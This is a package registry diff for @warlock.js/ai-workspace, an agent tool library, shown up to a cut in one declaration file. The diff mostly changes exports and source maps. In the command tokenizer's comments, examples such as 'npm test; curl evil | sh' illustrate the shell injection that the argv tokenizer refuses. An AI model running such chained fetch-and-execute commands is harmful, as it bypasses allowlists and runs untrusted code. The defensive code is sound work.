@warlock.js/ai-workspace 5.31.0 → 5.33.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (74) hide show
  1. package/CHANGELOG.md +12 -0
  2. package/cjs/index.cjs +34 -22
  3. package/cjs/index.cjs.map +1 -1
  4. package/esm/backends/local.d.mts +1 -3
  5. package/esm/backends/local.d.mts.map +1 -1
  6. package/esm/backends/local.mjs +1 -1
  7. package/esm/backends/local.mjs.map +1 -1
  8. package/esm/backends/mock.d.mts +5 -6
  9. package/esm/backends/mock.d.mts.map +1 -1
  10. package/esm/contracts/index.d.mts +2 -1
  11. package/esm/contracts/tool-io.type.d.mts +37 -38
  12. package/esm/contracts/tool-io.type.d.mts.map +1 -1
  13. package/esm/contracts/workspace-backend.contract.d.mts +7 -9
  14. package/esm/contracts/workspace-backend.contract.d.mts.map +1 -1
  15. package/esm/contracts/workspace-ops.contract.d.mts +1 -3
  16. package/esm/contracts/workspace-ops.contract.d.mts.map +1 -1
  17. package/esm/contracts/workspace-policy.type.d.mts +10 -11
  18. package/esm/contracts/workspace-policy.type.d.mts.map +1 -1
  19. package/esm/contracts/workspace.contract.d.mts +2 -4
  20. package/esm/contracts/workspace.contract.d.mts.map +1 -1
  21. package/esm/errors.d.mts +35 -23
  22. package/esm/errors.d.mts.map +1 -1
  23. package/esm/index.d.mts +1 -0
  24. package/esm/ops.d.mts +3 -4
  25. package/esm/ops.d.mts.map +1 -1
  26. package/esm/policy/policy.d.mts +5 -5
  27. package/esm/policy/policy.d.mts.map +1 -1
  28. package/esm/policy/policy.mjs +4 -3
  29. package/esm/policy/policy.mjs.map +1 -1
  30. package/esm/policy/shell-check.d.mts +5 -6
  31. package/esm/policy/shell-check.d.mts.map +1 -1
  32. package/esm/policy/shell-check.mjs +24 -13
  33. package/esm/policy/shell-check.mjs.map +1 -1
  34. package/esm/policy/shell-parser.mjs +2 -2
  35. package/esm/policy/shell-parser.mjs.map +1 -1
  36. package/esm/policy/tokenize-command.d.mts +3 -4
  37. package/esm/policy/tokenize-command.d.mts.map +1 -1
  38. package/esm/policy/tokenize-command.mjs +2 -2
  39. package/esm/policy/tokenize-command.mjs.map +1 -1
  40. package/esm/shell-jobs.d.mts +3 -3
  41. package/esm/shell-jobs.d.mts.map +1 -1
  42. package/esm/shell-jobs.mjs +1 -1
  43. package/esm/todos.d.mts +2 -2
  44. package/esm/todos.d.mts.map +1 -1
  45. package/esm/todos.mjs +1 -1
  46. package/esm/tools/edit-file.d.mts +2 -3
  47. package/esm/tools/edit-file.d.mts.map +1 -1
  48. package/esm/tools/glob.d.mts +3 -4
  49. package/esm/tools/glob.d.mts.map +1 -1
  50. package/esm/tools/grep.d.mts +3 -4
  51. package/esm/tools/grep.d.mts.map +1 -1
  52. package/esm/tools/list-dir.d.mts +2 -3
  53. package/esm/tools/list-dir.d.mts.map +1 -1
  54. package/esm/tools/multi-edit.d.mts +2 -3
  55. package/esm/tools/multi-edit.d.mts.map +1 -1
  56. package/esm/tools/read-file.d.mts +2 -3
  57. package/esm/tools/read-file.d.mts.map +1 -1
  58. package/esm/tools/run-shell.d.mts +5 -6
  59. package/esm/tools/run-shell.d.mts.map +1 -1
  60. package/esm/tools/run-tests.d.mts +3 -4
  61. package/esm/tools/run-tests.d.mts.map +1 -1
  62. package/esm/tools/shell-kill.d.mts +2 -3
  63. package/esm/tools/shell-kill.d.mts.map +1 -1
  64. package/esm/tools/shell-output.d.mts +2 -3
  65. package/esm/tools/shell-output.d.mts.map +1 -1
  66. package/esm/tools/todo.d.mts +3 -4
  67. package/esm/tools/todo.d.mts.map +1 -1
  68. package/esm/tools/write-file.d.mts +2 -3
  69. package/esm/tools/write-file.d.mts.map +1 -1
  70. package/esm/workspace.d.mts +3 -3
  71. package/esm/workspace.d.mts.map +1 -1
  72. package/esm/workspace.mjs +1 -1
  73. package/esm/workspace.mjs.map +1 -1
  74. package/package.json +3 -3
@@ -1 +1 @@
1
- {"version":3,"file":"tokenize-command.mjs","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/policy/tokenize-command.ts"],"sourcesContent":["/**\n * Characters that are refused when they appear UNQUOTED in a command line.\n * Workspace commands are executed as a direct argv spawn — never through a\n * shell — so none of these can mean what a shell would make them mean\n * (chaining, piping, substitution, redirection, subshells). Refusing them\n * outright keeps the allow/deny gate honest: `npm test; curl evil | sh` is\n * rejected instead of silently running commands past the allowlist. Inside\n * quotes they are ordinary literal bytes and pass through as argument data.\n */\nconst UNQUOTED_METACHARACTERS = new Set([\";\", \"&\", \"|\", \"<\", \">\", \"`\", \"$\", \"(\", \")\"]);\n\n/** Two-character operators reported as one token in a refusal. */\nconst TWO_CHARACTER_OPERATORS = new Set([\"&&\", \"||\", \">>\", \"<<\", \"$(\", \"${\", \">&\", \"<&\"]);\n\n/**\n * Why {@link analyzeArgvCommand} could not turn a line into an argv.\n *\n * - `\"empty\"` — nothing but whitespace.\n * - `\"unbalanced-quotes\"` — a `'` or `\"` is never closed (`quote` says which).\n * - `\"metacharacter\"` — an unquoted shell operator (`token`, at `index`).\n */\nexport type ArgvAnalysis =\n | { ok: true; argv: string[] }\n | { ok: false; type: \"empty\" }\n | { ok: false; type: \"unbalanced-quotes\"; quote: \"'\" | '\"'; index: number }\n | { ok: false; type: \"metacharacter\"; token: string; index: number };\n\n/**\n * Tokenize a command line into an argv the way {@link tokenizeCommand}\n * does, but say **why** a line cannot be represented as one argv — which\n * quote is unbalanced, or which unquoted operator (`&&`, `|`, `>`, `$(`,\n * a newline, …) was found first. The shell policy uses it to phrase a\n * refusal that tells the model how to split the line.\n *\n * @example\n * analyzeArgvCommand(\"npm test\"); // { ok: true, argv: [\"npm\", \"test\"] }\n * analyzeArgvCommand(\"git add -A && git commit\"); // { ok: false, type: \"metacharacter\", token: \"&&\", index: 11 }\n */\nexport function analyzeArgvCommand(command: string): ArgvAnalysis {\n const argv: string[] = [];\n let current = \"\";\n let inToken = false;\n let index = 0;\n\n while (index < command.length) {\n const char = command.charAt(index);\n\n if (char === \"'\" || char === '\"') {\n const closing = command.indexOf(char, index + 1);\n\n // Unbalanced quote — the intended argv is ambiguous; refuse.\n if (closing === -1) {\n return { ok: false, type: \"unbalanced-quotes\", quote: char, index };\n }\n\n current += command.slice(index + 1, closing);\n inToken = true;\n index = closing + 1;\n\n continue;\n }\n\n if (char === \" \" || char === \"\\t\") {\n if (inToken) {\n argv.push(current);\n current = \"\";\n inToken = false;\n }\n\n index++;\n\n continue;\n }\n\n if (char === \"\\n\" || char === \"\\r\") {\n return { ok: false, type: \"metacharacter\", token: \"\\n\", index };\n }\n\n if (UNQUOTED_METACHARACTERS.has(char)) {\n const pair = command.slice(index, index + 2);\n const token = TWO_CHARACTER_OPERATORS.has(pair) ? pair : char;\n\n return { ok: false, type: \"metacharacter\", token, index };\n }\n\n current += char;\n inToken = true;\n index++;\n }\n\n if (inToken) {\n argv.push(current);\n }\n\n return argv.length > 0 ? { ok: true, argv } : { ok: false, type: \"empty\" };\n}\n\n/**\n * Tokenize a command line into an argv array WITHOUT any shell semantics.\n *\n * Splitting is POSIX-flavored but deliberately minimal: unquoted spaces/tabs\n * separate tokens; single- or double-quoted spans are literal (including\n * whitespace and metacharacters) up to the matching close quote, and\n * adjacent spans concatenate into one token (`foo\"bar baz\"` → `foo bar baz`).\n * There is **no** variable expansion, globbing, or backslash escaping — a\n * backslash is a literal byte, so Windows paths survive untouched.\n *\n * Returns `null` — \"this command cannot be represented as a single argv\" —\n * for an empty/whitespace-only line, an unbalanced quote, or any unquoted\n * shell metacharacter / newline (see {@link UNQUOTED_METACHARACTERS}). The\n * policy gate treats `null` as denied and the local backend refuses to\n * spawn it, which is what closes the `allowed_cmd; anything-else` injection.\n * {@link analyzeArgvCommand} says why a line was refused.\n *\n * @example\n * tokenizeCommand('npm test'); // [\"npm\", \"test\"]\n * tokenizeCommand('node -e \"console.log(1)\"'); // [\"node\", \"-e\", \"console.log(1)\"]\n * tokenizeCommand('npm test; curl http://evil'); // null (unquoted `;`)\n */\nexport function tokenizeCommand(command: string): string[] | null {\n const analysis = analyzeArgvCommand(command);\n\n return analysis.ok ? analysis.argv : null;\n}\n"],"mappings":";;;;;;;;;;AASA,MAAM,0BAA0B,IAAI,IAAI;CAAC;CAAK;CAAK;CAAK;CAAK;CAAK;CAAK;CAAK;CAAK;AAAG,CAAC;;AAGrF,MAAM,0BAA0B,IAAI,IAAI;CAAC;CAAM;CAAM;CAAM;CAAM;CAAM;CAAM;CAAM;AAAI,CAAC;;;;;;;;;;;;AA0BxF,SAAgB,mBAAmB,SAA+B;CAChE,MAAM,OAAiB,CAAC;CACxB,IAAI,UAAU;CACd,IAAI,UAAU;CACd,IAAI,QAAQ;CAEZ,OAAO,QAAQ,QAAQ,QAAQ;EAC7B,MAAM,OAAO,QAAQ,OAAO,KAAK;EAEjC,IAAI,SAAS,OAAO,SAAS,MAAK;GAChC,MAAM,UAAU,QAAQ,QAAQ,MAAM,QAAQ,CAAC;GAG/C,IAAI,YAAY,IACd,OAAO;IAAE,IAAI;IAAO,MAAM;IAAqB,OAAO;IAAM;GAAM;GAGpE,WAAW,QAAQ,MAAM,QAAQ,GAAG,OAAO;GAC3C,UAAU;GACV,QAAQ,UAAU;GAElB;EACF;EAEA,IAAI,SAAS,OAAO,SAAS,KAAM;GACjC,IAAI,SAAS;IACX,KAAK,KAAK,OAAO;IACjB,UAAU;IACV,UAAU;GACZ;GAEA;GAEA;EACF;EAEA,IAAI,SAAS,QAAQ,SAAS,MAC5B,OAAO;GAAE,IAAI;GAAO,MAAM;GAAiB,OAAO;GAAM;EAAM;EAGhE,IAAI,wBAAwB,IAAI,IAAI,GAAG;GACrC,MAAM,OAAO,QAAQ,MAAM,OAAO,QAAQ,CAAC;GAG3C,OAAO;IAAE,IAAI;IAAO,MAAM;IAAiB,OAF7B,wBAAwB,IAAI,IAAI,IAAI,OAAO;IAEP;GAAM;EAC1D;EAEA,WAAW;EACX,UAAU;EACV;CACF;CAEA,IAAI,SACF,KAAK,KAAK,OAAO;CAGnB,OAAO,KAAK,SAAS,IAAI;EAAE,IAAI;EAAM;CAAK,IAAI;EAAE,IAAI;EAAO,MAAM;CAAQ;AAC3E;;;;;;;;;;;;;;;;;;;;;;;AAwBA,SAAgB,gBAAgB,SAAkC;CAChE,MAAM,WAAW,mBAAmB,OAAO;CAE3C,OAAO,SAAS,KAAK,SAAS,OAAO;AACvC"}
1
+ {"version":3,"file":"tokenize-command.mjs","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/policy/tokenize-command.ts"],"sourcesContent":["/**\n * Characters that are refused when they appear UNQUOTED in a command line.\n * Workspace commands are executed as a direct argv spawn — never through a\n * shell — so none of these can mean what a shell would make them mean\n * (chaining, piping, substitution, redirection, subshells). Refusing them\n * outright keeps the allow/deny gate honest: `npm test; curl evil | sh` is\n * rejected instead of silently running commands past the allowlist. Inside\n * quotes they are ordinary literal bytes and pass through as argument data.\n */\nconst UNQUOTED_METACHARACTERS = new Set([\";\", \"&\", \"|\", \"<\", \">\", \"`\", \"$\", \"(\", \")\"]);\n\n/** Two-character operators reported as one token in a refusal. */\nconst TWO_CHARACTER_OPERATORS = new Set([\"&&\", \"||\", \">>\", \"<<\", \"$(\", \"${\", \">&\", \"<&\"]);\n\n/**\n * Why {@link analyzeArgvCommand} could not turn a line into an argv.\n *\n * - `\"empty\"` — nothing but whitespace.\n * - `\"unbalanced-quotes\"` — a `'` or `\"` is never closed (`quote` says which).\n * - `\"metacharacter\"` — an unquoted shell operator (`token`, at `index`).\n */\nexport type ArgvAnalysis =\n | { ok: true; argv: string[] }\n | { ok: false; type: \"empty\" }\n | { ok: false; type: \"unbalanced-quotes\"; quote: \"'\" | '\"'; index: number }\n | { ok: false; type: \"metacharacter\"; token: string; index: number };\n\n/**\n * Tokenize a command line into an argv the way {@link tokenizeCommand}\n * does, but say **why** a line cannot be represented as one argv — which\n * quote is unbalanced, or which unquoted operator (`&&`, `|`, `>`, `$(`,\n * a newline, …) was found first. The shell policy uses it to phrase a\n * refusal that tells the model how to split the line.\n *\n * @example\n * analyzeArgvCommand(\"npm test\"); // { ok: true, argv: [\"npm\", \"test\"] }\n * analyzeArgvCommand(\"git add -A && git commit\"); // { ok: false, type: \"metacharacter\", token: \"&&\", index: 11 }\n */\nexport function analyzeArgvCommand(command: string): ArgvAnalysis {\n const argv: string[] = [];\n let current = \"\";\n let inToken = false;\n let index = 0;\n\n while (index < command.length) {\n const char = command.charAt(index);\n\n if (char === \"'\" || char === '\"') {\n const closing = command.indexOf(char, index + 1);\n\n // Unbalanced quote — the intended argv is ambiguous; refuse.\n if (closing === -1) {\n return { ok: false, type: \"unbalanced-quotes\", quote: char, index };\n }\n\n current += command.slice(index + 1, closing);\n inToken = true;\n index = closing + 1;\n\n continue;\n }\n\n if (char === \" \" || char === \"\\t\") {\n if (inToken) {\n argv.push(current);\n current = \"\";\n inToken = false;\n }\n\n index++;\n\n continue;\n }\n\n if (char === \"\\n\" || char === \"\\r\") {\n return { ok: false, type: \"metacharacter\", token: \"\\n\", index };\n }\n\n if (UNQUOTED_METACHARACTERS.has(char)) {\n const pair = command.slice(index, index + 2);\n const token = TWO_CHARACTER_OPERATORS.has(pair) ? pair : char;\n\n return { ok: false, type: \"metacharacter\", token, index };\n }\n\n current += char;\n inToken = true;\n index++;\n }\n\n if (inToken) {\n argv.push(current);\n }\n\n return argv.length > 0 ? { ok: true, argv } : { ok: false, type: \"empty\" };\n}\n\n/**\n * Tokenize a command line into an argv array WITHOUT any shell semantics.\n *\n * Splitting is POSIX-flavored but deliberately minimal: unquoted spaces/tabs\n * separate tokens; single- or double-quoted spans are literal (including\n * whitespace and metacharacters) up to the matching close quote, and\n * adjacent spans concatenate into one token (`foo\"bar baz\"` → `foo bar baz`).\n * There is **no** variable expansion, globbing, or backslash escaping — a\n * backslash is a literal byte, so Windows paths survive untouched.\n *\n * Returns `null` — \"this command cannot be represented as a single argv\" —\n * for an empty/whitespace-only line, an unbalanced quote, or any unquoted\n * shell metacharacter / newline (see {@link UNQUOTED_METACHARACTERS}). The\n * policy gate treats `null` as denied and the local backend refuses to\n * spawn it, which is what closes the `allowed_cmd; anything-else` injection.\n * {@link analyzeArgvCommand} says why a line was refused.\n *\n * @example\n * tokenizeCommand('npm test'); // [\"npm\", \"test\"]\n * tokenizeCommand('node -e \"console.log(1)\"'); // [\"node\", \"-e\", \"console.log(1)\"]\n * tokenizeCommand('npm test; curl http://evil'); // null (unquoted `;`)\n */\nexport function tokenizeCommand(command: string): string[] | null {\n const analysis = analyzeArgvCommand(command);\n\n return analysis.ok ? analysis.argv : null;\n}\n"],"mappings":";;;;;;;;;;AASA,MAAM,0CAA0B,IAAI,IAAI;CAAC;CAAK;CAAK;CAAK;CAAK;CAAK;CAAK;CAAK;CAAK;AAAG,CAAC;;AAGrF,MAAM,0CAA0B,IAAI,IAAI;CAAC;CAAM;CAAM;CAAM;CAAM;CAAM;CAAM;CAAM;AAAI,CAAC;;;;;;;;;;;;AA0BxF,SAAgB,mBAAmB,SAA+B;CAChE,MAAM,OAAiB,CAAC;CACxB,IAAI,UAAU;CACd,IAAI,UAAU;CACd,IAAI,QAAQ;CAEZ,OAAO,QAAQ,QAAQ,QAAQ;EAC7B,MAAM,OAAO,QAAQ,OAAO,KAAK;EAEjC,IAAI,SAAS,OAAO,SAAS,MAAK;GAChC,MAAM,UAAU,QAAQ,QAAQ,MAAM,QAAQ,CAAC;GAG/C,IAAI,YAAY,IACd,OAAO;IAAE,IAAI;IAAO,MAAM;IAAqB,OAAO;IAAM;GAAM;GAGpE,WAAW,QAAQ,MAAM,QAAQ,GAAG,OAAO;GAC3C,UAAU;GACV,QAAQ,UAAU;GAElB;EACF;EAEA,IAAI,SAAS,OAAO,SAAS,KAAM;GACjC,IAAI,SAAS;IACX,KAAK,KAAK,OAAO;IACjB,UAAU;IACV,UAAU;GACZ;GAEA;GAEA;EACF;EAEA,IAAI,SAAS,QAAQ,SAAS,MAC5B,OAAO;GAAE,IAAI;GAAO,MAAM;GAAiB,OAAO;GAAM;EAAM;EAGhE,IAAI,wBAAwB,IAAI,IAAI,GAAG;GACrC,MAAM,OAAO,QAAQ,MAAM,OAAO,QAAQ,CAAC;GAG3C,OAAO;IAAE,IAAI;IAAO,MAAM;IAAiB,OAF7B,wBAAwB,IAAI,IAAI,IAAI,OAAO;IAEP;GAAM;EAC1D;EAEA,WAAW;EACX,UAAU;EACV;CACF;CAEA,IAAI,SACF,KAAK,KAAK,OAAO;CAGnB,OAAO,KAAK,SAAS,IAAI;EAAE,IAAI;EAAM;CAAK,IAAI;EAAE,IAAI;EAAO,MAAM;CAAQ;AAC3E;;;;;;;;;;;;;;;;;;;;;;;AAwBA,SAAgB,gBAAgB,SAAkC;CAChE,MAAM,WAAW,mBAAmB,OAAO;CAE3C,OAAO,SAAS,KAAK,SAAS,OAAO;AACvC"}
@@ -1,8 +1,9 @@
1
1
  import { ShellJobInfo, ShellOutputOptions, ShellOutputResult } from "./contracts/tool-io.type.mjs";
2
2
  import { WorkspaceBackendProcess, WorkspaceOutputStream } from "./contracts/workspace-backend.contract.mjs";
3
+ import "./contracts/index.mjs";
3
4
  //#region ../../packages/ai-workspace/src/shell-jobs.d.ts
4
5
  /** What {@link ShellJobs.start} needs to launch one command. */
5
- interface ShellJobSpec {
6
+ export interface ShellJobSpec {
6
7
  /** The command line (already policy-checked). */
7
8
  command: string;
8
9
  /** Most bytes of output to keep (newest wins). */
@@ -19,7 +20,7 @@ interface ShellJobSpec {
19
20
  * (`readonly()`, `scope()`) of the workspace, so `dispose()` on any of them
20
21
  * stops them all.
21
22
  */
22
- declare class ShellJobs {
23
+ export declare class ShellJobs {
23
24
  private readonly jobs;
24
25
  private nextId;
25
26
  private disposed;
@@ -41,5 +42,4 @@ declare class ShellJobs {
41
42
  dispose(): Promise<void>;
42
43
  }
43
44
  //#endregion
44
- export { ShellJobs };
45
45
  //# sourceMappingURL=shell-jobs.d.mts.map
@@ -1 +1 @@
1
- {"version":3,"file":"shell-jobs.d.mts","names":[],"sources":["../../../../../../../packages/ai-workspace/src/shell-jobs.ts"],"mappings":";;;AAgCA;AAAA,UAAiB,YAAA;;EAEf,OAAA;EAAA;EAEA,WAAA;EAEA;EAAA,OAAA;EAIA;EAFA,SAAA;EAEkB;EAAlB,MAAA,CAAO,QAAA,GAAW,MAAA,EAAQ,qBAAA,EAAuB,KAAA,oBAAyB,uBAAuB;AAAA;;;AAAA;AAoOnG;;cAAa,SAAA;EAAA,iBACM,IAAA;EAAA,QAET,MAAA;EAAA,QAEA,QAAA;EA2E4D;EAAA,IAxEzD,UAAA;EAqF4B;EAhFhC,KAAA,CAAM,IAAA,EAAM,YAAA,GAAe,YAAA;EAmGnB;EAAA,QAzDP,KAAA;EAAA,QAQA,GAAA;EAsDuB;EArClB,MAAA,CAAO,EAAA,UAAY,IAAA,GAAO,kBAAA,GAAqB,OAAA,CAAQ,iBAAA;EA7E5D;EA0FK,IAAA,CAAK,EAAA,WAAa,OAAA,CAAQ,YAAA;EAAA,QAQzB,IAAA;EAxFP;EAmGA,IAAA,IAAQ,YAAA;EAnGF;EAwGA,OAAA,IAAW,OAAA;AAAA"}
1
+ {"version":3,"file":"shell-jobs.d.mts","names":[],"sources":["../../../../../../../packages/ai-workspace/src/shell-jobs.ts"],"mappings":";;;;;iBAgCiB;;EAEf;;EAEA;;EAEA;;EAEA;;EAEA,OAAO,WAAW,QAAQ,uBAAuB,yBAAyB;;;;;;;qBAoO/D;mBACM;UAET;UAEA;;MAGG;;EAKJ,MAAM,MAAM,eAAe;;UA0C1B;UAQA;;EAiBK,OAAO,YAAY,OAAO,qBAAqB,QAAQ;;EAavD,KAAK,aAAa,QAAQ;UAQzB;;EAWP,QAAQ;;EAKF,WAAW"}
@@ -243,5 +243,5 @@ var ShellJobs = class {
243
243
  };
244
244
 
245
245
  //#endregion
246
- export { ShellJobs };
246
+ export { MAX_OUTPUT_WAIT_MS, ShellJobs };
247
247
  //# sourceMappingURL=shell-jobs.mjs.map
package/esm/todos.d.mts CHANGED
@@ -1,11 +1,12 @@
1
1
  import { TodoListResult, WorkspaceTodoInput } from "./contracts/tool-io.type.mjs";
2
+ import "./contracts/index.mjs";
2
3
  //#region ../../packages/ai-workspace/src/todos.d.ts
3
4
  /**
4
5
  * The in-memory todo list of one workspace (shared by its projections).
5
6
  * `write` replaces the whole list, the way an agent's plan tool usually
6
7
  * works: the model sends the full updated list every time.
7
8
  */
8
- declare class TodoStore {
9
+ export declare class TodoStore {
9
10
  private items;
10
11
  /** The current list and a count per status. */
11
12
  read(): TodoListResult;
@@ -18,5 +19,4 @@ declare class TodoStore {
18
19
  write(todos: readonly WorkspaceTodoInput[]): TodoListResult;
19
20
  }
20
21
  //#endregion
21
- export { TodoStore };
22
22
  //# sourceMappingURL=todos.d.mts.map
@@ -1 +1 @@
1
- {"version":3,"file":"todos.d.mts","names":[],"sources":["../../../../../../../packages/ai-workspace/src/todos.ts"],"mappings":";;;;;;;cA+Da,SAAA;EAAA,QACH,KAAA;EAuB0D;EApB3D,IAAA,IAAQ,cAAA;;;;;;;EAoBR,KAAA,CAAM,KAAA,WAAgB,kBAAA,KAAuB,cAAA;AAAA"}
1
+ {"version":3,"file":"todos.d.mts","names":[],"sources":["../../../../../../../packages/ai-workspace/src/todos.ts"],"mappings":";;;;;;;;qBA+Da;UACH;;EAGD,QAAQ;;;;;;;EAoBR,MAAM,gBAAgB,uBAAuB"}
package/esm/todos.mjs CHANGED
@@ -69,5 +69,5 @@ var TodoStore = class {
69
69
  };
70
70
 
71
71
  //#endregion
72
- export { TODO_STATUSES, TodoStore, todoListProblems };
72
+ export { MAX_TODO_CONTENT_LENGTH, TODO_STATUSES, TodoStore, todoListProblems };
73
73
  //# sourceMappingURL=todos.mjs.map
@@ -1,7 +1,7 @@
1
1
  import { EditFileInput, EditFileResult } from "../contracts/tool-io.type.mjs";
2
2
  import { WorkspaceOps } from "../contracts/workspace-ops.contract.mjs";
3
+ import "../contracts/index.mjs";
3
4
  import { ToolContract } from "@warlock.js/ai";
4
-
5
5
  //#region ../../packages/ai-workspace/src/tools/edit-file.d.ts
6
6
  /**
7
7
  * Build the agent-facing `edit_file` tool over a workspace's policy-
@@ -32,9 +32,8 @@ import { ToolContract } from "@warlock.js/ai";
32
32
  * });
33
33
  * if (error) console.warn(error.message); // e.g. stale-hash → re-read
34
34
  */
35
- declare function makeEditFileTool(ops: WorkspaceOps, options?: {
35
+ export declare function makeEditFileTool(ops: WorkspaceOps, options?: {
36
36
  name?: string;
37
37
  }): ToolContract<EditFileInput, EditFileResult>;
38
38
  //#endregion
39
- export { makeEditFileTool };
40
39
  //# sourceMappingURL=edit-file.d.mts.map
@@ -1 +1 @@
1
- {"version":3,"file":"edit-file.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/edit-file.ts"],"mappings":";;;;;;;;;AAiDA;;;;;;;;;;;;;;;;;AAG6C;;;;;;;;iBAH7B,gBAAA,CACd,GAAA,EAAK,YAAA,EACL,OAAA;EAAY,IAAA;AAAA,IACX,YAAA,CAAa,aAAA,EAAe,cAAA"}
1
+ {"version":3,"file":"edit-file.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/edit-file.ts"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;wBAiDgB,iBACd,KAAK,cACL;EAAY;IACX,aAAa,eAAe"}
@@ -1,10 +1,10 @@
1
1
  import { GlobInput, GlobResult } from "../contracts/tool-io.type.mjs";
2
2
  import { WorkspaceOps } from "../contracts/workspace-ops.contract.mjs";
3
+ import "../contracts/index.mjs";
3
4
  import { ToolContract } from "@warlock.js/ai";
4
-
5
5
  //#region ../../packages/ai-workspace/src/tools/glob.d.ts
6
6
  /** Options accepted by {@link makeGlobTool} to customize the vended tool. */
7
- interface MakeGlobToolOptions {
7
+ export interface MakeGlobToolOptions {
8
8
  /**
9
9
  * Override the tool name the LLM sees. Defaults to `"glob"`. Use a
10
10
  * custom name when wiring several workspaces into one agent so each
@@ -31,7 +31,6 @@ interface MakeGlobToolOptions {
31
31
  * const { data } = await glob.invoke({ pattern: "src/models/**\/*.ts" });
32
32
  * console.log(data?.paths);
33
33
  */
34
- declare function makeGlobTool(ops: WorkspaceOps, options?: MakeGlobToolOptions): ToolContract<GlobInput, GlobResult>;
34
+ export declare function makeGlobTool(ops: WorkspaceOps, options?: MakeGlobToolOptions): ToolContract<GlobInput, GlobResult>;
35
35
  //#endregion
36
- export { MakeGlobToolOptions, makeGlobTool };
37
36
  //# sourceMappingURL=glob.d.mts.map
@@ -1 +1 @@
1
- {"version":3,"file":"glob.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/glob.ts"],"mappings":";;;;;;UAMiB,mBAAA;;;AAAjB;;;EAME,IAAI;AAAA;AAmCN;;;;;;;;;;;;;;;;;;AAGqC;AAHrC,iBAAgB,YAAA,CACd,GAAA,EAAK,YAAA,EACL,OAAA,GAAU,mBAAA,GACT,YAAA,CAAa,SAAA,EAAW,UAAA"}
1
+ {"version":3,"file":"glob.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/glob.ts"],"mappings":";;;;;;iBAMiB;;;;;;EAMf;;;;;;;;;;;;;;;;;;;;;wBAmCc,aACd,KAAK,cACL,UAAU,sBACT,aAAa,WAAW"}
@@ -1,10 +1,10 @@
1
1
  import { GrepInput, GrepResult } from "../contracts/tool-io.type.mjs";
2
2
  import { WorkspaceOps } from "../contracts/workspace-ops.contract.mjs";
3
+ import "../contracts/index.mjs";
3
4
  import { ToolContract } from "@warlock.js/ai";
4
-
5
5
  //#region ../../packages/ai-workspace/src/tools/grep.d.ts
6
6
  /** Options accepted by {@link makeGrepTool} to customize the vended tool. */
7
- interface MakeGrepToolOptions {
7
+ export interface MakeGrepToolOptions {
8
8
  /**
9
9
  * Override the tool name the LLM sees. Defaults to `"grep"`. Use a
10
10
  * custom name when wiring several workspaces into one agent so each
@@ -30,7 +30,6 @@ interface MakeGrepToolOptions {
30
30
  * const { data } = await grep.invoke({ pattern: "TODO", glob: "src/*.ts" });
31
31
  * console.log(data?.total, data?.matches);
32
32
  */
33
- declare function makeGrepTool(ops: WorkspaceOps, options?: MakeGrepToolOptions): ToolContract<GrepInput, GrepResult>;
33
+ export declare function makeGrepTool(ops: WorkspaceOps, options?: MakeGrepToolOptions): ToolContract<GrepInput, GrepResult>;
34
34
  //#endregion
35
- export { MakeGrepToolOptions, makeGrepTool };
36
35
  //# sourceMappingURL=grep.d.mts.map
@@ -1 +1 @@
1
- {"version":3,"file":"grep.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/grep.ts"],"mappings":";;;;;;UAMiB,mBAAA;;;AAAjB;;;EAME,IAAI;AAAA;AAoCN;;;;;;;;;;;;;;;;;;AAAA,iBAAgB,YAAA,CACd,GAAA,EAAK,YAAA,EACL,OAAA,GAAU,mBAAA,GACT,YAAA,CAAa,SAAA,EAAW,UAAA"}
1
+ {"version":3,"file":"grep.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/grep.ts"],"mappings":";;;;;;iBAMiB;;;;;;EAMf;;;;;;;;;;;;;;;;;;;;wBAoCc,aACd,KAAK,cACL,UAAU,sBACT,aAAa,WAAW"}
@@ -1,7 +1,7 @@
1
1
  import { ListDirInput, ListDirResult } from "../contracts/tool-io.type.mjs";
2
2
  import { WorkspaceOps } from "../contracts/workspace-ops.contract.mjs";
3
+ import "../contracts/index.mjs";
3
4
  import { ToolContract } from "@warlock.js/ai";
4
-
5
5
  //#region ../../packages/ai-workspace/src/tools/list-dir.d.ts
6
6
  /**
7
7
  * Build the agent-facing `list_dir` tool over a workspace's policy-enforced
@@ -24,9 +24,8 @@ import { ToolContract } from "@warlock.js/ai";
24
24
  * const { data } = await listDir.invoke({ path: "src", depth: 2 });
25
25
  * for (const entry of data?.entries ?? []) console.log(entry.type, entry.path, entry.size);
26
26
  */
27
- declare function makeListDirTool(ops: WorkspaceOps, options?: {
27
+ export declare function makeListDirTool(ops: WorkspaceOps, options?: {
28
28
  name?: string;
29
29
  }): ToolContract<ListDirInput, ListDirResult>;
30
30
  //#endregion
31
- export { makeListDirTool };
32
31
  //# sourceMappingURL=list-dir.d.mts.map
@@ -1 +1 @@
1
- {"version":3,"file":"list-dir.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/list-dir.ts"],"mappings":";;;;;;;;;AA4CA;;;;;;;;;;;;;;;;;iBAAgB,eAAA,CACd,GAAA,EAAK,YAAA,EACL,OAAA;EAAY,IAAA;AAAA,IACX,YAAA,CAAa,YAAA,EAAc,aAAA"}
1
+ {"version":3,"file":"list-dir.d.mts","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/tools/list-dir.ts"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;wBA4CgB,gBACd,KAAK,cACL;EAAY;IACX,aAAa,cAAc"}
@@ -1,7 +1,7 @@
1
1
  import { MultiEditInput, MultiEditResult } from "../contracts/tool-io.type.mjs";
2
2
  import { WorkspaceOps } from "../contracts/workspace-ops.contract.mjs";
3
+ import "../contracts/index.mjs";
3
4
  import { ToolContract } from "@warlock.js/ai";
4
-
5
5
  //#region ../../packages/ai-workspace/src/tools/multi-edit.d.ts
6
6
  /**
7
7
  * Build the agent-facing `multi_edit` tool over a workspace's policy-
@@ -30,9 +30,8 @@ import { ToolContract } from "@warlock.js/ai";
30
30
  * ],
31
31
  * });
32
32
  */
33
